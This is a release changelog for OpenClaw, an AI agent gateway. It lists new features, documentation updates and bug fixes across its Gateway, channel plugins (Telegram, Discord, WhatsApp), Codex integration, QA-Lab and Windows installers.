Crabbox/Testbox: run clean sparse-checkout Testbox syncs from a temporary full checkout and route remote changed gates through Corepack pnpm.
Docs: clarify IPv4-only Gateway BYOH binding, trusted-proxy scope clearing, Android pairing approval, macOS Accessibility grants, Zalo profile env vars, password-store SecretRef setup, and Chinese memory navigation. Thanks @itskai-dev, @gwh7078, @longstoryscott, @MoeJaberr, and @yuaiccc.
Docs: consolidate GLM under Z.AI, add the Upstash Box install guide and Gateway exposure runbook, clarify MEDIA directives, Copilot and Voyage setup, config path quoting, real behavior proof, and memory-file write guidance. Thanks @BobDu, @alitariksahin, @Jefsky, @musaabhasan, @OmerZeyveli, @leno23, @WuKongAI-CMU, @luoyanglang, and @majin1102.
Docs: clarify media provider credentials, Codex/OpenClaw code-mode boundaries, Slack and Telegram ack reactions, Feishu dynamic agents, secrets plaintext boundaries, memory guidance, and Chinese glossary terms. Thanks @nielskaspers, @cosmopolitan033, @drclaw-iq, @alexgduarte, @zccyman, @chengoak, and @cassthebandit.
Packaging: exclude documentation images and assets from the npm tarball, reducing published package size without affecting runtime docs search or CLI behavior. Thanks @SebTardif.
Media understanding: stop auto-probing Gemini CLI and use Antigravity CLI only as a lower-priority image/video fallback after configured provider APIs.
Diagnostics: emit sanitized secrets.prepare timeline spans for Gateway secret preparation so operators can distinguish secret startup latency without exposing provider names, secret ids, or secret values. (#83019) Thanks @samzong.
Diagnostics: export bounded skill usage metrics/spans and tool source/owner labels for core, plugin, MCP, and channel tool execution without exposing raw paths or session identifiers. (#80370) Thanks @gauravprasadgp.
Agents/subagents: limit default sub-agent bootstrap context to AGENTS.md and TOOLS.md, keeping persona, identity, user, memory, heartbeat, and setup files out of delegated workers by default. (#85283) Thanks @100yenadmin.
Maintainer skills: require clean autoreview before surfacing bug-sweep PR URLs and treat changelog-only conflicts as routine busy-main churn.
Maintainer skills: exclude plugin SDK/API boundary work from openclaw-landable-bug-sweep so bugbash sweeps stay focused on small paper-cut fixes.
QA-Lab/diagnostics: extend the OpenTelemetry smoke harness to prove trace, metric, and log export, and add first-class Prometheus and observability smoke aliases.
Plugin SDK: add a generic channel-message poll sender so channel plugins can expose poll delivery without depending on channel-specific SDK facades.
Plugin SDK/cron delivery: route cron delivery through the modern target resolver and outbound session-route APIs, deprecate parser-backed target helpers and plugin-sdk/messaging-targets, and move bundled callers to plugin-sdk/channel-targets.
Crabbox: keep the local wrapper's provider validation synced with the installed Crabbox binary while preserving supported aliases such as docker and blacksmith. (#85302) Thanks @hxy91819.
Maintainer skills: add openclaw-landable-bug-sweep for producing five small, reviewed, CI-green OpenClaw bugfix PRs from issue/PR sweeps.
Control UI/chat: add search and Load More pagination to the chat session picker, keeping initial session loads bounded while making older conversations reachable. (#85237) Thanks @amknight.
CLI/onboarding: start classic onboarding when bare openclaw runs before an authored config exists, while keeping configured installs on Crestodian. (#72343) Thanks @fuller-stack-dev.
Discord: allow configuring a bounded agentComponents.ttlMs callback registry lifetime for long-running component workflows, with per-account overrides and a 24-hour cap. (#84189) Thanks @100menotu001.
xAI/Grok: reuse xAI OAuth auth profiles for Grok web_search, thread active-agent auth through web search, add Grok model aliases, and let media providers declare default operation timeouts. (#85182) Thanks @fuller-stack-dev.
Plugin SDK: add row-level session workflow helpers and deprecate loadSessionStore so plugins can read and patch sessions without depending on the legacy whole-store shape. (#84693) Thanks @efpiva.
Gateway/plugins: reuse a compatible Gateway startup plugin registry during dispatch so safe plugin dispatches avoid redundant registry loading. (#84324) Thanks @ai-hpc.
Plugins/SDK: add a general embeddingProviders capability contract and registration API so embeddings can become a reusable provider surface outside memory-specific adapters.
Dependencies: refresh provider, plugin, UI, and tooling packages, update protobufjs to 8.4.0 to clear the current npm advisory, and carry the Claude ACP completion patch forward to @agentclientprotocol/claude-agent-acp 0.36.1.
Agents/tools: remove the old sender-owner tool gating path so configured tools stay visible for trusted sessions while command and channel-action auth still carry real sender identity.
QA-Lab: add curated mock JSONL replay fixtures and first-drift reporting for runtime-parity audits. (#80323, refs #80176) Thanks @100yenadmin.
QA-Lab: add a QA bus tool-trace visibility scenario for sanitized tool-call assertions.
QA-Lab: replace generic evidence framing in seeded scenario prompts with concrete observed QA behavior.
QA-Lab: list named scenario packs in the coverage report so personal-agent privacy coverage stays visible in audits.
QA-Lab: list live transport lane membership in the coverage report so real transport checks stay separate from seeded qa-channel scenarios.
Release/package: run package integrity checks before package acceptance lanes so public install/update validation fails before private QA assets can leak into the package.
QA-Lab: include the optional 100-turn runtime parity soak in release-soak artifacts so long-run Codex/Pi transcript drift stays visible outside the default gate. (#80395) Thanks @100yenadmin.
QA-Lab: add a live-only long-context progress watchdog scenario for Codex app-server timeout and stalled-run sentinels. (#80323) Thanks @100yenadmin.
QA-Lab: tag gateway restart recovery and streaming final-integrity scenarios as live-only runtime parity lanes. (#80323) Thanks @100yenadmin.
QA-Lab: add a personal-agent failure recovery scenario that checks honest partial status, retry boundaries, and local recovery artifacts. (#83872) Thanks @iFiras-Max1.
QA-Lab: include an opt-in update.run package self-upgrade sentinel for destructive latest-package recovery checks.
QA-Lab: add Codex plugin lifecycle and auth-profile fixture coverage for missing installs, pinned-version drift, first-turn install ordering, and doctor migration safety. (#80323, refs #80174) Thanks @100yenadmin.
Models/perf: pre-warm the provider auth-state map at gateway startup so /models and every model-listing call short-circuits the per-provider plugin / external-CLI discovery on the hot path. Per-call cost drops from ~20 s to ~5 ms (~4,100×); the one-time startup warm resets and re-warms after hot reloads. (#84816) Thanks @sjf.
Release/security: ship the root npm package and OpenClaw-owned npm plugins with generated shrinkwrap, support bundled plugin runtime dependencies for suitable plugin tarballs, and require review for lockfile/shrinkwrap changes so published installs use locked dependency graphs.
Tests/perf: isolate doctor core health check unit coverage from real skills/workspace discovery so doctor-core-checks no longer dominates unit perf while keeping one real skills-readiness smoke. (#84493) Thanks @frankekn.

Fixes

Gateway/update: avoid fetching unrelated tags during dev-channel git updates so moved release tags do not block branch-based updates. (#84737) Thanks @rubencu.
CLI/update: suppress the expected future-config warning while an old update parent hands off to the freshly installed post-core process.
MiniMax: store OAuth token expiry as an absolute millisecond timestamp so OAuth profiles no longer appear expired on every request. (#83480) Thanks @NianJiuZst.
Agents/Anthropic: strip missing or blank thinking signatures for signed-thinking providers even when recovery supplies a narrow replay policy without signature preservation. Fixes #84430. (#84448) Thanks @NianJiuZst.
Agents/channels: send a visible notice when an aborted main session cannot be resumed after restart, including Telegram group targets. (#85805) Thanks @pfrederiksen.
Discord/voice: serialize overlapping voice joins, retry aborted startup readiness within the configured timeout, upgrade meeting-notes-only sessions to realtime when the normal follow join arrives, detach promoted meeting-notes ownership without leaving voice, and include OpenClaw in default realtime wake names.
Gateway/restart: honor the configured restart drain budget for embedded runs and avoid spending the deferral timeout twice after forced restart timeouts. (#85708) Thanks @Kaspre.
Gateway/boot: run BOOT.md startup checks in an isolated boot session so gateway restarts do not overwrite the agent's main session mapping. (#85479)
Meeting Notes: include a speaker-labeled transcript section in generated summaries so Discord group voice captures show who said each captured utterance.
Discord/voice: recover stale realtime playback state when Discord stream-close/player-idle events do not arrive, and keep generated runtime plugin aliases available after postbuild rewrites.
Discord/voice: keep realtime playback running when meeting notes attaches to an existing voice session or a realtime consult starts, and route realtime user transcripts into meeting notes.
Config/secrets: preflight active runtime SecretRefs before root and include config writes persist, and roll back unchanged file/env state when post-write refresh fails. Fixes #46531. (#84454) Thanks @samzong.
CLI/models: preserve SecretRef-backed custom provider apiKey markers when models status regenerates models.json, avoiding resolved plaintext secrets on disk. Fixes #84632. (#84658) Thanks @NianJiuZst.
WhatsApp/auto-reply: deliver deferred media replies through the foreground reply fence so overlapping no-reply turns no longer hide already visible responses. (#85517) Thanks @cavit99.
Sessions/security: replace agent-to-agent wildcard allowlist regexes with a precompiled linear matcher so cross-agent access checks avoid backtracking-prone patterns. (#85849) Thanks @SebTardif.
WebChat: keep the run-complete indicator in progress until deferred history replay renders the assistant reply, so Done no longer appears before response text. (#85374) Thanks @neeravmakwana.
Agents/tools: give timed-out or cancelled process trees a bounded SIGTERM cleanup window before SIGKILL while preserving tree-aware cancellation. Fixes #66399. (#85865) Thanks @IWhatsskill.
Agents/subagents: treat aborted subagent stop reasons as killed terminal failures so parent sessions get error announcements instead of silent success. Fixes #72293. (#85860) Thanks @IWhatsskill.
Agents/providers: clamp proxy-like OpenAI Chat Completions output caps against the final request payload so strict local/API-compatible servers no longer reject prompts that already consume part of the context window. Fixes #83086. (#85889) Thanks @rendrag-git.
Agents/compaction: skip agent-harness preflight for provider-owned CLI runtime sessions so over-threshold Claude CLI sessions continue through normal compaction instead of failing on a missing harness. Fixes #84857. (#84878) Thanks @zhangguiping-xydt.
Codex/app-server: keep successful native hook relays available through a short post-turn grace window so late Codex hook subprocesses can finish policy enforcement without clearing a replacement relay. (#83987) Thanks @Kaspre.
Control UI/config: save form-mode edits from the source config snapshot so runtime-only provider defaults like empty models.providers..baseUrl are not written back and rejected. Fixes #85831. Thanks @garyd9.
Browser/existing-session: launch Chrome DevTools MCP with usage statistics disabled by default so its telemetry watchdog stays off unless an operator explicitly opts in. (#85886) Thanks @rohitjavvadi.
Telegram: normalize legacy durable group retry targets before retry sends, polls, and pins so group retries keep using the real chat id. (#85656) Thanks @luoyanglang.
Agents/PDF: route MiniMax PDF fallback policy through plugin metadata so MiniMax uses text extraction instead of VLM image fallback. (#85590, fixes #85575) Thanks @neeravmakwana.
CLI/plugins: tighten timeout, numeric option, media payload, permission, profile/TLS, plugin metadata, JSON, and remote URL handling; prevent stuck progress/app-server/IRC/Synology/Twitch waits; and keep imported chat history ordering stable.
Telegram/config: suppress the missing accounts.default warning when channels.telegram.defaultAccount names a configured account that also sorts first. Fixes #83948. Thanks @crypto86m.
Telegram: serialize visible topic replies through core reply-lane admission so heartbeat and queued follow-up turns cannot continue ownerless or misroute responses. (#85709) Thanks @jalehman.
WebChat: summarize internal message-tool source replies so tool cards no longer duplicate the visible reply body. (#84773) Thanks @jason-allen-oneal.
Gateway/WebChat: hide duplicate gateway-injected assistant rows when Cursor ACP already persisted the same acp-runtime reply. Fixes #85741. Thanks @lxf-lxf.
WebChat: scope the visible attachment button to its own composer file input so clicking Upload reliably opens the file picker. (#83952, fixes #47983) Thanks @jason-allen-oneal.
Gateway: preserve deferred lifecycle-error cleanup across later non-terminal events so provider timeouts can persist failed session state instead of leaving sessions stuck running. (#85256, fixes #63819) Thanks @samzong.
Gateway/update: stop treating inherited macOS XPC_SERVICE_NAME values as launchd supervision during update respawn, so GUI-spawned gateways use detached respawn instead of exiting for a missing LaunchAgent. Fixes #85224. Thanks @richardmqq.
Agents/subagents: report tool-only child progress during timeout summaries instead of showing no visible output.
Telegram/ACP: preserve explicit :topic: conversation suffixes when inbound ACP targets do not carry a separate thread id.
Browser/proxy: bypass the managed proxy for the exact local managed Chrome CDP readiness and DevTools WebSocket endpoints, so openclaw browser start works when the operator proxy blocks loopback egress. (#83255) Thanks @lightcap.
Ollama: bypass the managed proxy for configured local embedding origins while keeping SSRF guardrails on unconfigured targets. Thanks @Kaspre.
OpenAI/images: route Codex API-key image generation through the native OpenAI Images API instead of the Codex OAuth streaming backend, avoiding 401s from valid API keys.
Agents/OpenAI completions: omit empty tool payload fields for proxy-like OpenAI-compatible endpoints so strict vLLM-style servers accept tool-free turns. (#85835) Thanks @rendrag-git.
Sandbox: keep workspace skill mounts read-only for remote container-cwd file operations and reject symlinked skill roots before creating protected overlays. (#85591) Thanks @jason-allen-oneal.
Scripts/Windows: route remaining QA, release, profile, and live-media pnpm launches through the managed runner so native Windows avoids brittle .cmd execution and shell-argv warnings.
Release: align generated config/API baselines and the meeting-notes plugin version so release preflight stays green on native Windows.
Install/Windows: run Git hook setup through a Node prepare helper so native Windows installs no longer print POSIX shell errors.
Checks/Windows: chunk and serialize extension oxlint shards on native Windows so changed gates avoid Go-backed linter memory spikes.
Release/Windows: run installed openclaw.cmd verification through explicit cmd.exe wrapping so npm prepublish/postpublish checks avoid Node shell-argv warnings.
Release/Windows: run release-check npm pack/install/root probes through the shared npm runner so native Windows avoids bare npm lookup and .cmd shell-argv handling.
Release/Windows: run cross-OS release check .cmd shims through explicit cmd.exe wrapping so native Windows install and gateway probes avoid Node shell-argv handling.
Control UI/Windows: run i18n Pi, npm, and pnpm helper commands through explicit Windows runners so native Windows translation sync avoids brittle .cmd launches.
Scripts/Windows: run the Z.AI fallback repro through the shared pnpm runner so native Windows avoids raw .cmd launches.
Codex/Windows: run app-server protocol formatting through the shared pnpm runner so native Windows avoids raw .cmd launches.
Plugins/Windows: run plugin npm package staging through the shared npm runner so native Windows release checks avoid bare npm lookup and .cmd shell-argv handling.
Checks/Windows: route full pnpm check stage commands through the managed child runner so Windows avoids Node shell-argv deprecation warnings there too.
Agents/fs: allow workspace-only host write/edit tools to write through in-workspace symlink directory parents while preserving outside-workspace symlink rejection. Fixes #84696. Thanks @garbagenetwork.
Checks/Windows: run managed child commands through explicit cmd.exe wrapping instead of Node shell mode with argv, avoiding Node 24 subprocess deprecation warnings during changed checks.
Gateway: omit internal stream-error placeholder entries from agent prompt history so failed assistant turns are not replayed as model-authored text. (#85652) Thanks @anyech.
Sessions: enforce the session write-lock max-hold policy during lock acquisition so long-held locks can be reclaimed before the stale-lock window. (#85764) Thanks @njuboy11.
Sessions/status: preserve user-facing model, fallback, usage, and cost attribution when internal subagent handoff runs use fallback models. (#85726, fixes #85082) Thanks @brokemac79.
Install/update: honor OPENCLAW_HOME when deriving default dev checkout and installer onboarding paths, while keeping explicit OPENCLAW_GIT_DIR and OPENCLAW_CONFIG_PATH overrides authoritative. Fixes #54014. Thanks @robertPiro.
Models: prune retired Groq, GitHub Copilot, OpenAI, xAI, and old Claude catalog entries, with doctor migration to upgrade existing configs to current provider refs.
Plugins/Gateway: treat non-empty return values from plugin gateway method handlers as successful responses so openclaw gateway call no longer times out after completed plugin work. Fixes #59470. Thanks @HTMG23.
Doctor/update: recognize junction-backed source checkouts as git installs by comparing canonical paths before showing package-manager update guidance. Fixes #82215. Thanks @igormf.
Channels: honor /verbose on for tool/progress summaries across direct chats, groups, channels, and forum topics while preserving quiet default behavior. (#85488) Thanks @kurplunkin.
Update: keep the detached gateway restart handoff best-effort when the restart script process cannot be spawned. (#83892) Thanks @davinci282828.
Telegram: persist the prompt-context message cache through plugin state and record bot-authored replies after sends and draft streaming so later turns can include prior assistant replies without relying on the JSON sidecar. (#85231) Thanks @keshavbotagent.
Agents/subagents: keep Codex persona and user workspace files turn-scoped so native Codex subagents inherit only shared tool guidance by default. (#85811) Thanks @lastguru-net.
CLI/skills: show an all-ready note with next-step commands when skill setup has no missing dependencies to install. (#85032) Thanks @aniruddhaadak80.
Microsoft Foundry: route DeepSeek V4 Pro and Flash models through the Foundry Responses API while keeping older DeepSeek models on their existing path. (#85549) Thanks @roslinmahmud.
Status/usage: show configured cost estimates for AWS SDK models in full usage output while keeping token-only usage replies cost-free. (#85619) Thanks @ItsOtherMauridian.
Agents/OpenAI Responses: retry non-visible reasoning-only turns for OpenAI Responses API families instead of treating them as empty failed turns. (#85603) Thanks @SebTardif.
Directive tags: preserve message and content-part object identity when display stripping makes no directive-tag changes. (#85682) Thanks @willamhou.
Telegram: send local path/filePath and structured attachment media from sendMessage actions instead of dropping them or sending text-only messages. (#85219) Thanks @keshavbotagent.
Sessions/status: show the estimated context budget when fresh provider usage is unavailable and clear stale estimates across session resets and compaction boundaries. (#84830) Thanks @giodl73-repo.
Gateway/config: pin relative OPENCLAW_STATE_DIR overrides to an absolute path at startup so later working-directory changes cannot retarget gateway state. (#52264) Thanks @PerfectPan.
Checks/Parallels: make changed-lane scripts, shrinkwrap generation, and Parallels package smoke host commands run through native Windows-safe paths and npm/pnpm shims.
Release/package: run npm release, prepublish, and postpublish verification through Windows-safe npm command shims so native Windows checks can execute npm.cmd instead of treating it as a binary.
Agents/harness: pass CLI runtime aliases through harness selection so provider-owned CLI aliases no longer get rejected before reaching the right runtime. (#85631) Thanks @potterdigital.
Secrets: show the irreversible apply warning after interactive secrets configure confirmation so confirmed migrations still get the final safety prompt. (#85638) Thanks @alkor2000.
Agents/CLI output: ignore cumulative Claude stream-json result usage when assistant usage events are present, preventing inflated cache-read accounting. (#85625) Thanks @zhouhe-xydt.
CLI: keep waitForever() alive by leaving its keep-alive interval ref'd so the public helper no longer exits immediately with Node's unsettled-await code. (#85694) Thanks @m1qaweb.
Agents/bootstrap: guard bootstrap name checks against missing file names so malformed bootstrap entries warn and truncate instead of crashing. Fixes #85523. (#85615) Thanks @zhouhe-xydt.
CLI/tasks: reject partially numeric openclaw tasks audit --limit values so audit limits must be real positive integers instead of accepting strings like 5abc. (#84901) Thanks @jbetala7.
Status/diagnostics: bound deep Docker audit probes so openclaw status --deep reports slow container checks instead of hanging behind unbounded inspection. (#85476) Thanks @giodl73-repo.
Providers/Anthropic: migrate 1M context handling to GA-capable Claude 4.x models by sizing eligible models at 1M without the retired context-1m-2025-08-07 beta, ignoring that retired beta in older configs, and preserving OAuth-required Anthropic beta headers. (#45613) Thanks @haoyu-haoyu.
Cron/Telegram: parse forum-topic delivery targets through the Telegram plugin instead of cron core, including :topic: and :topicId forms for announce delivery. Thanks @etticat.
Twitch: keep stale message-handler cleanup callbacks from removing newer handler registrations for the same account, preserving inbound message delivery after reconnects. Fixes #83888. (#85425) Thanks @alkor2000.
Control UI/chat: keep light-mode model, thinking, config, and agents select arrows visible without tiling background icons. Fixes #85713. Thanks @Linux2010.
Memory/LanceDB: expose public memory artifacts through the active memory provider bridge so memory-wiki imports durable memory files, daily notes, dream reports, and event logs without depending on memory-core internals. Fixes #83604. (#85060) Thanks @brokemac79.
Crabbox: keep AWS hydration compatible with local Actions replay by inlining the hydrate workflow's Node/pnpm setup instead of invoking repo-local composite actions.
Agents/subagents: simplify native sub-agent completion handoff so children report their latest visible assistant result to the requester without using message, while keeping parent-owned message-tool delivery policy intact. Fixes #85070. (#85089) Thanks @brokemac79.
Docker setup: stop printing the Gateway bearer token in setup logs and printed follow-up commands.
Gateway: defer channel account startup work until HTTP readiness and remove startup model prewarm, avoiding startup event-loop stalls and timer-delay warnings.
Models/perf: reuse plugin metadata during models.json planning, keep bundled catalog augmentation manifest/static, and use static provider catalogs for metadata-only startup discovery so provider model normalization, auth discovery, and Gateway startup metadata do not reload broad plugin runtimes.
Agents: let embedded compaction fallback retries proceed when PI-compatible candidates do not need agent harness plugin preparation.
Agents/tools: honor configured custom provider API keys when deciding whether media, image-generation, video-generation, music-generation, and PDF tools are available. (#85570)
StepFun: stop advertising stale generic API key auth choices so onboarding only offers runtime-backed Standard and Step Plan choices.
Diagnostics: keep OpenTelemetry log bodies behind explicit content capture and scrub scoped agent-session keys from OpenTelemetry and Prometheus labels while preserving bounded queue-lane prefixes.
Windows installer: fail Git checkout installs when pnpm install or pnpm build fails instead of writing a wrapper to a missing CLI build.
Sessions: surface previous-transcript archive failures during /new rotation so disk rename errors are logged instead of silently hiding stranded transcript files. Fixes #81984. (#85586, from #82081) Thanks @0xghost42.
TUI/agents: mirror internal-ui message-tool replies into final chat output so message-tool-only agents remain visible in openclaw tui. Fixes #85538. Thanks @danpolasek.
Gateway/TUI: preserve source-reply metadata through reply normalization and emit message-tool-only agent replies over the live chat stream so openclaw tui renders Codex replies without waiting for a history refresh. Thanks @shakkernerd.
Codex/TUI: keep long source-reply runs alive after Codex reasoning completes so delayed visible message calls can still reach openclaw tui. Thanks @shakkernerd.
TUI: keep quiet active runs busy after the response watchdog notice instead of reopening the prompt and encouraging duplicate submissions while the backend turn is still running. Thanks @shakkernerd.
Agents: preserve the latest assistant thinking blocks while stripping invalid replay signatures from older turns, and retry Anthropic thinking failures without thinking replay. Fixes #85557. Thanks @bryanbaer.
Agents: keep parallel OpenAI-compatible tool-call deltas in separate argument buffers so interleaved tool calls no longer corrupt streamed arguments. (#82263) Thanks @luna-system.
Telegram: avoid false pairing prompts after transient pairing-store read failures while preserving configured allowFrom and per-DM pairing authorization. (#85555)
Memory/doctor: report missing or unusable QMD workspace directories as workspace failures instead of generic binary failures. (#63167) Thanks @sercada.
Debug proxy: record CONNECT client-socket errors and destroy the paired upstream socket so abrupt client disconnects no longer leak tunnel resources. (#82444) Thanks @SebTardif.
Diffs: continue hydrating later diff cards when one card fails so a single broken card no longer blanks the whole diff viewer. (#84775) Thanks @cosmopolitan033.
Mac app: use the native settings sidebar window chrome so the sidebar toggle stays on the left and content no longer clips under oversized titlebar padding.
QA-Lab/Codex: bundle auth/plugin fixture imports for flow scenarios and let terminal async media tools end Codex app-server turns without timing out. (#80397, refs #80323) Thanks @100yenadmin.
WhatsApp: persist inbound message delivery state through plugin state before dispatch and delay read receipts until handler completion, so retryable failures can redeliver without adding a plugin-local disk cache. Thanks @samzong.
Gateway/agents: preserve fresh session overrides and metadata when stale cached agent-session entries race with store updates, so subagent model/provider overrides and routing policy survive concurrent writes. (#19328) Thanks @CodeReclaimers.
Control UI/chat: keep chat session search inline with the session selector so the header no longer shows a duplicate standalone search row.
Control UI/chat: collapse focused-mode header chrome and suppress hidden-header scroll updates so focus mode no longer jumps while scrolling. Thanks @amknight.
Codex app-server: restart the native app-server and retry once when server-side compaction times out, so preflight compaction stalls recover instead of failing every dispatch. (#85500)
Restore Control UI gateway token pairing [AI]. (#85459) Thanks @pgondhi987.
OpenAI video: honor configured provider request private-network opt-in for local/custom video endpoints so explicitly trusted mock and self-hosted providers are not blocked. Thanks @shakkernerd.
OpenAI video: send uploaded video edit requests to the documented /videos/edits endpoint with a video file instead of posting MP4 references to /videos. Thanks @shakkernerd.
Agents/channels: preserve message-tool delivery evidence through gateway agent completion handoffs so successful generated media sends are not followed by false failure messages. Thanks @shakkernerd.
CLI/update: repair managed npm plugin openclaw peer links during post-core convergence and reject stale or wrong-target peer links before restart. (#83794) Thanks @fuller-stack-dev.
CLI/agents: default new omitted-account bindings to all accounts when the channel has multiple configured accounts, and clarify account-scope docs. (#49769) Thanks @Gcaufy.
Codex app-server: let authorized /codex control commands such as /codex detach escape plugin-owned conversation bindings while keeping unknown or unauthorized slash text routed to the bound plugin. Fixes #85157. (#85188) Thanks @TurboTheTurtle.
Auto-reply/models: keep /models browse replies fast by sharing the bounded read-only catalog path with Gateway model listing. (#84735) Thanks @safrano9999.
Browser/Doctor: read macOS Chrome app bundle versions from Info.plist before spawning Chrome and extend the fallback version probe timeout, avoiding false cold-cache warnings from Gatekeeper latency. Fixes #85418. Thanks @davidcittadini.
Codex app-server: disable native Code Mode when the effective exec host is node and keep OpenClaw exec/process available, so /exec host=node routes shell commands through the selected node instead of the gateway. Fixes #85012. (#85090) Thanks @sahilsatralkar.
Agents: bound embedded auto-compaction session write-lock watchdogs to the compaction timeout instead of the full run timeout, so stuck compaction cannot hold the live session lock for the whole run window. (#84949) Thanks @luoyanglang.
Gateway/agents: return phase-aware agent.wait timeout attribution and only cool auth profiles on provider-started timeouts. Refs #65504. Thanks @100yenadmin.
Gateway/systemd: launch managed update handoff helpers in a transient user scope so systemd-supervised Update Now flows survive the gateway unit restart. Fixes #84068.
Gateway: defer provider auth-state prewarm until after startup readiness so early gateway tool/session requests are not blocked by provider auth discovery. (#85272) Thanks @dutifulbob.
Gateway/models: coalesce provider auth-state rewarms after auth-profile failures and log event-loop delay for warm/rewarm work, so provider auth bursts no longer stack full auth sweeps behind channel replies.
Gateway/models: stop cancelled provider auth-state prewarms from continuing full provider sweeps, so reload and auth-failure bursts no longer keep startup busy.
Agents/Codex: show the first plan update as a transient chat status notice without counting it as final assistant content.
CLI/update: walk the macOS process ancestry and honor the inherited Gateway runtime PID before package updates stop the managed Gateway service, so nested in-band updater children can refuse instead of killing the LaunchAgent-supervised Gateway that owns them. Fixes #85120.
Gateway/LaunchAgent: wait for launchd reload bootout to finish and fall back to kickstart when bootstrap races, so reload handoff does not leave the service deregistered. Fixes #84630. (#84641) Thanks @NianJiuZst.
Gateway/LaunchAgent: treat a concurrent launchd bootstrap as a successful restart when the service is already loaded, avoiding false macOS Gateway restart failures. Fixes #84721. (#84722) Thanks @googlerest.
Gateway/service: include the active openclaw command bin directory in managed service PATH generation and doctor audit expectations for npm-global macOS installs. Fixes #84201. (#84475) Thanks @jbetala7.
Control UI/chat: disable the thinking selector for known non-reasoning models instead of showing duplicate Off choices. Fixes #84069. Thanks @DrippingMellow.
Memory: expand ~ in configured extra memory paths before resolving them, so home-relative folders are not treated as workspace-relative. Fixes #58026. Thanks @stadman.
Skills: treat openclaw.os: macos as Darwin when checking skill requirements, so macOS-only skills no longer report as missing on macOS hosts. Fixes #61338. Thanks @Jessecq1995.
Control UI/logs: strip ANSI escape sequences from displayed Gateway log messages so color codes no longer appear as raw text. Fixes #64399. Thanks @guguangxin-eng.
Docker: pre-create the workspace and auth-profile config mount points with node ownership so first-run named volumes do not start root-owned. Fixes #85076. Thanks @Noerr.
Telegram: pass configured markdown table mode through outbound markdown chunking so chunked sends render tables consistently. Fixes #85085. Thanks @ShuaiHui.
Diagnostics/OTel: drop snake_case diagnostic id attributes alongside camelCase ids so exported telemetry cannot leak run, session, message, chat, trace, or tool-call identifiers. (#72645) Thanks @Lion0710.
CLI/update: preserve managed Gateway service environment during package cutovers so macOS LaunchAgent repair/restart reads the pre-update service state instead of caller shell state. (#83026)
Agents/providers: honor per-model api and baseUrl overrides in custom provider auth hooks and transport selection. Fixes #80487. (#80488) Thanks @huveewomg.
Gateway/restart: eager-load the lifecycle runtime before in-place upgrade signal handling so package replacement does not deadlock restart imports. (#84890) Thanks @myps6415.
CLI/update: start managed Gateway update handoff helpers from a stable existing directory and tolerate deleted cwd/package roots during macOS LaunchAgent handoff. Fixes #83808. (#83875) Thanks @jason-allen-oneal.
Skills: watch each shared skill directory once across agent workspaces instead of once per agent, preventing file-descriptor exhaustion (EMFILE) that disposed bundle-mcp processes and stalled sessions on multi-agent gateways. Fixes #84968. (#85130) Thanks @openperf.
Release/security: keep generated npm shrinkwrap package versions inside the pnpm lock graph so published package locks cannot bypass pnpm dependency age and override policy.
Cron: honor cron.retry.retryOn: ["network"] for common network error codes such as EAI_AGAIN, EHOSTUNREACH, and ENETUNREACH.
Gateway chat: broadcast returned agent-run error payloads after an agent starts so ACP/WebChat clients receive terminal idle-timeout errors. Fixes #84945.
Gateway chat display: preserve OpenAI-compatible prompt_tokens, completion_tokens, and total_tokens usage fields in sanitized chat history so llama.cpp sessions keep context counts. Fixes #77992. Thanks @MarTT79.
Dashboard/CLI: allow macOS browser launching through open even when SSH environment variables are present, while preserving Linux SSH no-display protection. Fixes #67088. Thanks @theglove44.
Codex app-server: keep native web search observations out of mirrored chat transcripts while preserving available action query metadata in tool progress telemetry. Fixes #85109. Thanks @ugitmebaby.
OpenCode Go: strip unsupported Kimi reasoning replay fields before provider requests so repeated kimi-k2.6 turns do not fail schema validation. Fixes #83812. Thanks @Sleeck.
Browser/CDP: add a WSL2 portproxy self-loop hint when Chrome DevTools endpoints accept connections but return an empty HTTP reply. Fixes #59209. Thanks @Owlock.
Agents/tools: add bounded tool-policy audit log entries that identify which allow/deny rule removed tools or blocked a sandboxed tool call. Fixes #55801. Thanks @justinjkline.
CLI/logs: read implicit local Gateway logs through the passive backend client path so openclaw logs --follow does not register as a paired device, and use the active Linux systemd journal instead of stale configured-file fallbacks when live local RPC is unavailable. Fixes #83656 and #66841.
Agents/OpenAI: preserve structured provider error code, type, and redacted body metadata on boundary-aware transport failures.
Doctor/Codex: point native Codex asset warnings at the canonical openclaw migrate plan codex preview command. Fixes #84948. Thanks @markoa.
CLI/models: make capability model auth logout --agent remove auth profiles from the selected non-default agent store. Fixes #85092. Thanks @islandpreneur007.
Gateway/models: reuse prepared provider auth metadata during model-listing auth checks so repeated lookups avoid broad plugin discovery while preserving synthetic local auth.
CLI/status: suppress systemd user-service setup hints when openclaw status --deep can already reach a running Gateway RPC service. Fixes #85094. Thanks @islandpreneur007.
CLI/devices: recover local approval when a same-device repair request replaces the request ID being approved.
CLI/agents: retry transient normal-close Gateway handshakes before falling back to embedded openclaw agent execution.
CLI/update: keep managed Gateway service stop/restart status lines out of openclaw update --json stdout so package-update automation can parse the JSON payload.
Plugins: resolve OpenClaw plugin SDK subpaths for native external plugin runtimes without mutating package installs or broadening process-wide module resolution.
Agents/OpenAI: preserve Responses and Chat Completions reasoning_tokens usage metadata without double-counting it in aggregate output tokens. (#85319)
Control UI/chat: convert pasted data:image/...;base64,... clipboard text into an image attachment instead of dumping the payload into the composer. Fixes #62604. Thanks @cpwilhelmi.
Providers/Gemini: strip fractional seconds from web-search time range filters so Gemini accepts freshness-bound search requests. (#85071) Thanks @Noerr.
OpenAI Codex: preserve image input support for sparse openai-codex/gpt-5.5 catalog rows. (#85095) Thanks @sercada.
CLI/models: add a piped or pasted API-key path for OpenAI Codex auth and warn when API keys are pasted into token-mode auth. (#85533) Thanks @joshavant.
Telegram: dead-letter missing-harness isolated ingress failures so a poisoned spooled update no longer blocks later same-lane messages. Fixes #85470. (#85605) Thanks @joshavant.
Plugins/discovery: strip -plugin package suffixes when deriving plugin id hints so package names line up with manifest ids. (#85170) Thanks @JulyanXu.
Tlon: stop advertising a non-existent agent tool contract in the plugin manifest.
Telegram: preserve fenced code block languages through Markdown rendering so Telegram receives language-* code classes. (#85209) Thanks @leno23.
Windows installer: run npm and Corepack command shims from a Windows-local directory so installs launched from WSL2 UNC paths do not fail before OpenClaw is installed.
Windows updates: roll back git-backed updates to the previous checkout when dependency install, build, UI build, or doctor repair fails.
Windows installer: persist user-local portable Git on PATH and activate the repo-pinned pnpm version for git-backed installs and updates.
Windows installer: bootstrap a user-local portable Node.js when native Windows has no Node and no winget, Chocolatey, or Scoop, so first-run installs can continue on raw hosts.
